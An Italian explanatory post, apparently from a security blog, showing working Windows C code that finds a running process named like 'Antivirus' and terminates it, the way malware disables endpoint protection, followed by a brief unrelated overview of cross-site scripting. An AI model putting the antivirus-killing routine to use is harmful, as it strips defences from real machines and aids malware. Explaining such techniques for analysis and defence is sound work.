Una delle caratteristiche dei malware è la capacità di individuare e disattivare sistemi di end point detection o antivirus.
Ma come possono eseguire queste operazioni?
Parlando di processi che operano in ambiente windows è necessario che il software malevolo sia in grado di creare uno snapshot della memoria, ciclare su tutti i processi ivi presenti, individuare il processo da disattivare ed infine disattivarlo.
Le primitive che dobbiamo andare a utilizzare durante un’analisi sono:
• CreateToolHelp32Snapshot: esegue uno snapshot della memoria e restituisce un handler che chiamiamo hProcessSnap
• Process32First e Process32Next: che sono in grado di identificare i processi attivi nello snapshot e richiamate all’interno di un ciclo ci permettono di ricercare il processo con il nome che noi vogliamo es. Antivirus.exe
• Una volta identificato il processo acquisisco il suo handler con diritti PROCESS_TERMINATE
• Lo termino con TerminateProcess
Naturalmente il malware deve ottenere i diritti amministrativi necessari per eseguire quest’azione
Nel codice seguente eseguo quest’azione ricercando un processo ipotetico chiamato Antivirus.exe :
int main(void)
{
HANDLE hProcessSnap;
HANDLE hProcess;
PROCESSENTRY32 pe32;
int trovato = 0;
WCHAR nome[] = L"Antivirus";
// faccio lo snapshot dei processi di sistema
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE)
{
printf("CreateToolhelp32Snapshot (of processes)");
return(FALSE);
}
// definisco la dimensione della struttura pe32 utilizzata nel ciclo
pe32.dwSize = sizeof(PROCESSENTRY32);
// Prendo le info del primo processo
if (!Process32First(hProcessSnap, &pe32))
{
printf("Errore in Process32First");
CloseHandle(hProcessSnap);
return(FALSE);
}
//Ora ciclo tra tutti i processi nello snapshot
do
{
if (wcsstr(pe32.szExeFile,nome) > 0) { //cerco se il nome del processo contiene la stringa di ricerca
wprintf(L"Termino %s \n", pe32.szExeFile); // scrivo che sto terminando il processo
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0, (DWORD) pe32.th32ProcessID); //acquisisco l'handle con i diritti corretti
TerminateProcess(hProcess, 9); // termino il processo
trovato = 1;}
} while (Process32Next(hProcessSnap, &pe32) && !trovato); //continuo con il prox processo nello snapshot
CloseHandle(hProcessSnap);
return(TRUE);
}
Il Cross site scripting avviene quando un'applicazione consente l'immisione di dati insicuri nella web page consentendo agli attaccanti di iniettare javascript nella pagina stessa.
Strumenti automatizzati possono rilevare e sfruttare tutte le forme di XSS e sono disponibili numerosi framework open source che ne permettono lo sfruttamento.
XSS è il secondo problema più diffuso nella OWASP Top 10 e si trova in circa due terzi di tutte le applicazioni.
Gli strumenti automatizzati possono trovare automaticamente alcuni problemi XSS, in particolare nelle tecnologie mature come PHP, J2EE / JSP e ASP.NET.
L'XSS consente l'esecuzione di codice remoto sul browser della vittima, come il furto di credenziali, sessioni o la delivery di malware alla vittima.